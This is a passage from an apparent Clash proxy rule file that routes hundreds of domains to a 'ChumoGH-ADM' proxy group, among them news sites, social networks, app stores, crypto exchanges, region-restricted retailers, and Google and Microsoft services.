IP-CIDR,147.92.128.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,203.104.144.0/21,ChumoGH-ADM,no-resolve +# > Other +- DOMAIN-SUFFIX,4shared.com,ChumoGH-ADM +- DOMAIN-SUFFIX,520cc.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,881903.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9cache.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9gag.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abc.net.au,ChumoGH-ADM +- DOMAIN-SUFFIX,abebooks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amazon.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,apigee.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apk-dl.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkfind.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkmirror.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkmonk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apkpure.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aptoide.com,ChumoGH-ADM +- DOMAIN-SUFFIX,archive.is,ChumoGH-ADM +- DOMAIN-SUFFIX,archive.org,ChumoGH-ADM +- DOMAIN-SUFFIX,arte.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,artstation.com,ChumoGH-ADM +- DOMAIN-SUFFIX,arukas.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ask.com,ChumoGH-ADM +- DOMAIN-SUFFIX,avg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,avgle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,badoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bandwagonhost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bbc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,behance.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bibox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biggo.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,binance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bitcointalk.org,ChumoGH-ADM +- DOMAIN-SUFFIX,bitfinex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bitmex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bit-z.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bloglovin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bloomberg.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,bloomberg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blubrry.com,ChumoGH-ADM +- DOMAIN-SUFFIX,book.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,booklive.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,books.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,boslife.net,ChumoGH-ADM +- DOMAIN-SUFFIX,box.com,ChumoGH-ADM +- DOMAIN-SUFFIX,businessinsider.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bwh1.net,ChumoGH-ADM +- DOMAIN-SUFFIX,castbox.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,cbc.ca,ChumoGH-ADM +- DOMAIN-SUFFIX,cdw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,change.org,ChumoGH-ADM +- DOMAIN-SUFFIX,channelnewsasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ck101.com,ChumoGH-ADM +- DOMAIN-SUFFIX,clarionproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,clyp.it,ChumoGH-ADM +- DOMAIN-SUFFIX,cna.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,comparitech.com,ChumoGH-ADM +- DOMAIN-SUFFIX,conoha.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,crucial.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cts.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cw.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cyberctm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dailymotion.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dailyview.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,daum.net,ChumoGH-ADM +- DOMAIN-SUFFIX,daumcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,dcard.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,deepdiscount.com,ChumoGH-ADM +- DOMAIN-SUFFIX,depositphotos.com,ChumoGH-ADM +- DOMAIN-SUFFIX,deviantart.com,ChumoGH-ADM +- DOMAIN-SUFFIX,disconnect.me,ChumoGH-ADM +- DOMAIN-SUFFIX,discordapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,discordapp.net,ChumoGH-ADM +- DOMAIN-SUFFIX,disqus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dlercloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dns2go.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dowjones.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dropbox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dropboxusercontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,duckduckgo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dynu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,earthcam.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ebookservice.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,economist.com,ChumoGH-ADM +- DOMAIN-SUFFIX,edgecastcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,edu,ChumoGH-ADM +- DOMAIN-SUFFIX,elpais.com,ChumoGH-ADM +- DOMAIN-SUFFIX,enanyang.my,ChumoGH-ADM +- DOMAIN-SUFFIX,encyclopedia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,esoir.be,ChumoGH-ADM +- DOMAIN-SUFFIX,etherscan.io,ChumoGH-ADM +- DOMAIN-SUFFIX,euronews.com,ChumoGH-ADM +- DOMAIN-SUFFIX,evozi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,feedly.com,ChumoGH-ADM +- DOMAIN-SUFFIX,firech.at,ChumoGH-ADM +- DOMAIN-SUFFIX,flickr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flitto.com,ChumoGH-ADM +- DOMAIN-SUFFIX,foreignpolicy.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freebrowser.org,ChumoGH-ADM +- DOMAIN-SUFFIX,freewechat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freeweibo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,friday.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,ftchinese.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ftimg.net,ChumoGH-ADM +- DOMAIN-SUFFIX,gate.io,ChumoGH-ADM +- DOMAIN-SUFFIX,getlantern.org,ChumoGH-ADM +- DOMAIN-SUFFIX,getsync.com,ChumoGH-ADM +- DOMAIN-SUFFIX,globalvoices.org,ChumoGH-ADM +- DOMAIN-SUFFIX,goo.ne.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,goodreads.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gov,ChumoGH-ADM +- DOMAIN-SUFFIX,gov.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,greatfire.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gumroad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,heroku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hightail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hk01.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkbf.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hkbookcity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkej.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hket.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hkgolden.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hootsuite.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hudson.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hyread.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,ibtimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,i-cable.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icij.org,ChumoGH-ADM +- DOMAIN-SUFFIX,icoco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,imgur.com,ChumoGH-ADM +- DOMAIN-SUFFIX,initiummall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,insecam.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ipfs.io,ChumoGH-ADM +- DOMAIN-SUFFIX,issuu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,istockphoto.com,ChumoGH-ADM +- DOMAIN-SUFFIX,japantimes.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,jiji.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jinx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jkforum.net,ChumoGH-ADM +- DOMAIN-SUFFIX,joinmastodon.org,ChumoGH-ADM +- DOMAIN-SUFFIX,justmysocks.net,ChumoGH-ADM +- DOMAIN-SUFFIX,justpaste.it,ChumoGH-ADM +- DOMAIN-SUFFIX,kakao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kakaocorp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kik.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kobo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kobobooks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kodingen.com,ChumoGH-ADM +- DOMAIN-SUFFIX,lemonde.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,lepoint.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,lihkg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,listennotes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,livestream.com,ChumoGH-ADM +- DOMAIN-SUFFIX,logmein.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mail.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,mailchimp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,marc.info,ChumoGH-ADM +- DOMAIN-SUFFIX,matters.news,ChumoGH-ADM +- DOMAIN-SUFFIX,maying.co,ChumoGH-ADM +- DOMAIN-SUFFIX,medium.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mega.nz,ChumoGH-ADM +- DOMAIN-SUFFIX,mil,ChumoGH-ADM +- DOMAIN-SUFFIX,mingpao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mobile01.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myspace.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myspacecdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nanyang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,naver.com,ChumoGH-ADM +- DOMAIN-SUFFIX,neowin.net,ChumoGH-ADM +- DOMAIN-SUFFIX,newstapa.org,ChumoGH-ADM +- DOMAIN-SUFFIX,nexitally.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nhk.or.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nicovideo.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nii.ac.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nikkei.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nofile.io,ChumoGH-ADM +- DOMAIN-SUFFIX,now.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nrk.no,ChumoGH-ADM +- DOMAIN-SUFFIX,nyt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytcn.me,ChumoGH-ADM +- DOMAIN-SUFFIX,nytco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytlog.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nytstyle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ok.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,okex.com,ChumoGH-ADM +- DOMAIN-SUFFIX,on.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,orientaldaily.com.my,ChumoGH-ADM +- DOMAIN-SUFFIX,overcast.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,paltalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pao-pao.net,ChumoGH-ADM +- DOMAIN-SUFFIX,parsevideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pbxes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pcdvd.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pchome.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,picacomic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pinimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pixiv.net,ChumoGH-ADM +- DOMAIN-SUFFIX,player.fm,ChumoGH-ADM +- DOMAIN-SUFFIX,plurk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,po18.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,potato.im,ChumoGH-ADM +- DOMAIN-SUFFIX,potatso.com,ChumoGH-ADM +- DOMAIN-SUFFIX,prism-break.org,ChumoGH-ADM +- DOMAIN-SUFFIX,proxifier.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pt.im,ChumoGH-ADM +- DOMAIN-SUFFIX,pts.org.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pubu.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pubu.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,pureapk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quora.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quoracdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,rakuten.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,readingtimes.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,readmoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redbubble.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reddit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redditmedia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,resilio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reuters.com,ChumoGH-ADM +- DOMAIN-SUFFIX,reutersmedia.net,ChumoGH-ADM +- DOMAIN-SUFFIX,rfi.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,rixcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,roadshow.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,scmp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,scribd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,seatguru.com,ChumoGH-ADM +- DOMAIN-SUFFIX,shadowsocks.org,ChumoGH-ADM +- DOMAIN-SUFFIX,shopee.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,slideshare.net,ChumoGH-ADM +- DOMAIN-SUFFIX,softfamous.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soundcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ssrcloud.org,ChumoGH-ADM +- DOMAIN-SUFFIX,startpage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcommunity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steemit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steemitwallet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,t66y.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tapatalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,teco-hk.org,ChumoGH-ADM +- DOMAIN-SUFFIX,teco-mo.org,ChumoGH-ADM +- DOMAIN-SUFFIX,teddysun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,textnow.me,ChumoGH-ADM +- DOMAIN-SUFFIX,theguardian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,theinitium.com,ChumoGH-ADM +- DOMAIN-SUFFIX,thetvdb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tineye.com,ChumoGH-ADM +- DOMAIN-SUFFIX,torproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,tumblr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,turbobit.net,ChumoGH-ADM +- DOMAIN-SUFFIX,tutanota.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tvboxnow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,unseen.is,ChumoGH-ADM +- DOMAIN-SUFFIX,upmedia.mg,ChumoGH-ADM +- DOMAIN-SUFFIX,uptodown.com,ChumoGH-ADM +- DOMAIN-SUFFIX,urbandictionary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ustream.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,uwants.com,ChumoGH-ADM +- DOMAIN-SUFFIX,v2ray.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viber.com,ChumoGH-ADM +- DOMAIN-SUFFIX,videopress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vimeo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voachinese.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voanews.com,ChumoGH-ADM +- DOMAIN-SUFFIX,voxer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vzw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,w3schools.com,ChumoGH-ADM +- DOMAIN-SUFFIX,washingtonpost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wattpad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whoer.net,ChumoGH-ADM +- DOMAIN-SUFFIX,wikimapia.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikipedia.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikiquote.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikiwand.com,ChumoGH-ADM +- DOMAIN-SUFFIX,winudf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wire.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wordpress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,workflow.is,ChumoGH-ADM +- DOMAIN-SUFFIX,worldcat.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wsj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wsj.net,ChumoGH-ADM +- DOMAIN-SUFFIX,xhamster.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--90wwvt03e.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--i2ru8q2qg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xnxx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xvideos.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yahoo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yandex.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,ycombinator.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yesasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yes-news.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yomiuri.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,you-get.org,ChumoGH-ADM +- DOMAIN-SUFFIX,zaobao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zello.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zeronet.io,ChumoGH-ADM +- DOMAIN-SUFFIX,zoom.us,ChumoGH-ADM +- DOMAIN-KEYWORD,github,ChumoGH-ADM +- DOMAIN-KEYWORD,jav,ChumoGH-ADM +- DOMAIN-KEYWORD,pinterest,ChumoGH-ADM +- DOMAIN-KEYWORD,porn,ChumoGH-ADM +- DOMAIN-KEYWORD,wikileaks,ChumoGH-ADM + +# (Region-Restricted Access Denied) +- DOMAIN-SUFFIX,apartmentratings.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apartments.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bankmobilevibe.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bing.com,ChumoGH-ADM +- DOMAIN-SUFFIX,booktopia.com.au,ChumoGH-ADM +- DOMAIN-SUFFIX,cccat.io,ChumoGH-ADM +- DOMAIN-SUFFIX,centauro.com.br,ChumoGH-ADM +- DOMAIN-SUFFIX,clearsurance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,costco.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crackle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,depositphotos.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,dish.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dmm.co.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,dmm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dnvod.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,esurance.com,ChumoGH-ADM +- DOMAIN-SUFFIX,extmatrix.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fastpic.ru,ChumoGH-ADM +- DOMAIN-SUFFIX,flipboard.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fnac.be,ChumoGH-ADM +- DOMAIN-SUFFIX,fnac.com,ChumoGH-ADM +- DOMAIN-SUFFIX,funkyimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fxnetworks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gettyimages.com,ChumoGH-ADM +- DOMAIN-SUFFIX,go.com,ChumoGH-ADM +- DOMAIN-SUFFIX,here.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jcpenney.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jiehua.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,mailfence.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nationwide.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nbc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nexon.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstrom.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstromimage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nordstromrack.com,ChumoGH-ADM +- DOMAIN-SUFFIX,superpages.com,ChumoGH-ADM +- DOMAIN-SUFFIX,target.com,ChumoGH-ADM +- DOMAIN-SUFFIX,thinkgeek.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tracfone.com,ChumoGH-ADM +- DOMAIN-SUFFIX,unity3d.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uploader.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,vevo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,vk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vsco.co,ChumoGH-ADM +- DOMAIN-SUFFIX,xfinity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zattoo.com,ChumoGH-ADM +# USER-AGENT,Roam*,ChumoGH-ADM + +# (The Most Popular Sites) +# > ChumoGH-ADM +# >> TestFlight +- DOMAIN,testflight.apple.com,ChumoGH-ADM +# >> ChumoGH-ADM URL Shortener +- DOMAIN-SUFFIX,appsto.re,ChumoGH-ADM +# >> iBooks Store download +- DOMAIN,books.itunes.apple.com,ChumoGH-ADM +# >> iTunes Store Moveis Trailers +- DOMAIN,hls.itunes.apple.com,ChumoGH-ADM +# >> App Store Preview +- DOMAIN,apps.apple.com,ChumoGH-ADM +- DOMAIN,itunes.apple.com,ChumoGH-ADM +# >> Spotlight +- DOMAIN,api-glb-sea.smoot.apple.com,ChumoGH-ADM +# >> Dictionary +- DOMAIN,lookup-api.apple.com,ChumoGH-ADM +# > Google +- DOMAIN-SUFFIX,abc.xyz,ChumoGH-ADM +- DOMAIN-SUFFIX,android.com,ChumoGH-ADM +- DOMAIN-SUFFIX,androidify.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dialogflow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,autodraw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,capitalg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,certificate-transparency.org,ChumoGH-ADM +- DOMAIN-SUFFIX,chrome.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromeexperiments.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromestatus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chromium.org,ChumoGH-ADM +- DOMAIN-SUFFIX,creativelab5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,debug.com,ChumoGH-ADM +- DOMAIN-SUFFIX,deepmind.com,ChumoGH-ADM +- DOMAIN-SUFFIX,firebaseio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getmdl.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ggpht.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gmail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gmodules.com,ChumoGH-ADM +- DOMAIN-SUFFIX,godoc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,golang.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gwtproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,itasoftware.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madewithcode.com,ChumoGH-ADM +- DOMAIN-SUFFIX,material.io,ChumoGH-ADM +- DOMAIN-SUFFIX,polymer-project.org,ChumoGH-ADM +- DOMAIN-SUFFIX,admin.recaptcha.net,ChumoGH-ADM +- DOMAIN-SUFFIX,recaptcha.net,ChumoGH-ADM +- DOMAIN-SUFFIX,shattered.io,ChumoGH-ADM +- DOMAIN-SUFFIX,synergyse.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tensorflow.org,ChumoGH-ADM +- DOMAIN-SUFFIX,tfhub.dev,ChumoGH-ADM +- DOMAIN-SUFFIX,tiltbrush.com,ChumoGH-ADM +- DOMAIN-SUFFIX,waveprotocol.org,ChumoGH-ADM +- DOMAIN-SUFFIX,waymo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,webmproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,webrtc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,whatbrowser.org,ChumoGH-ADM +- DOMAIN-SUFFIX,widevine.com,ChumoGH-ADM +- DOMAIN-SUFFIX,x.company,ChumoGH-ADM +- DOMAIN-SUFFIX,youtu.be,ChumoGH-ADM +- DOMAIN-SUFFIX,yt.be,ChumoGH-ADM +- DOMAIN-SUFFIX,ytimg.com,ChumoGH-ADM +# > Microsoft +# >> Microsoft OneDrive +- DOMAIN-SUFFIX,1drv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,1drv.ms,ChumoGH-ADM +- DOMAIN-SUFFIX,blob.core.windows.net,ChumoGH-ADM +- DOMAIN-SUFFIX,livefilestore.com,ChumoGH-ADM +- DOMAIN-SUFFIX,onedrive.com,ChumoGH-ADM +- DOMAIN-SUFFIX,storage.live.com,ChumoGH-ADM +- DOMAIN-SUFFIX,storage.msn.com,ChumoGH-ADM +- DOMAIN,oneclient.sfx.ms,ChumoGH-ADM +# > Other +- DOMAIN-SUFFIX,0rz.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,4bluestones.biz,ChumoGH-ADM +- DOMAIN-SUFFIX,9bis.net,ChumoGH-ADM +- DOMAIN-SUFFIX,allconnected.co,ChumoGH-ADM +- DOMAIN-SUFFIX,aol.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bcc.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,bit.ly,ChumoGH-ADM +- DOMAIN-SUFFIX,bitshare.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blog.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,blogimg.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,blogtd.org,ChumoGH-ADM +- DOMAIN-SUFFIX,broadcast.co.nz,ChumoGH-ADM +- DOMAIN-SUFFIX,camfrog.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cfos.de,ChumoGH-ADM +- DOMAIN-SUFFIX,citypopulation.de,ChumoGH-ADM +- DOMAIN-SUFFIX,cloudfront.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ctitv.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,cuhk.edu.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,cusu.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,discord.gg,ChumoGH-ADM +- DOMAIN-SUFFIX,discuss.com.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,dropboxapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,duolingo.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,edditstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flickriver.com,ChumoGH-ADM +- DOMAIN-SUFFIX,focustaiwan.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,free.fr,ChumoGH-ADM +- DOMAIN-SUFFIX,gigacircle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hk-pub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hosting.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,hwcdn.net,ChumoGH-ADM +- 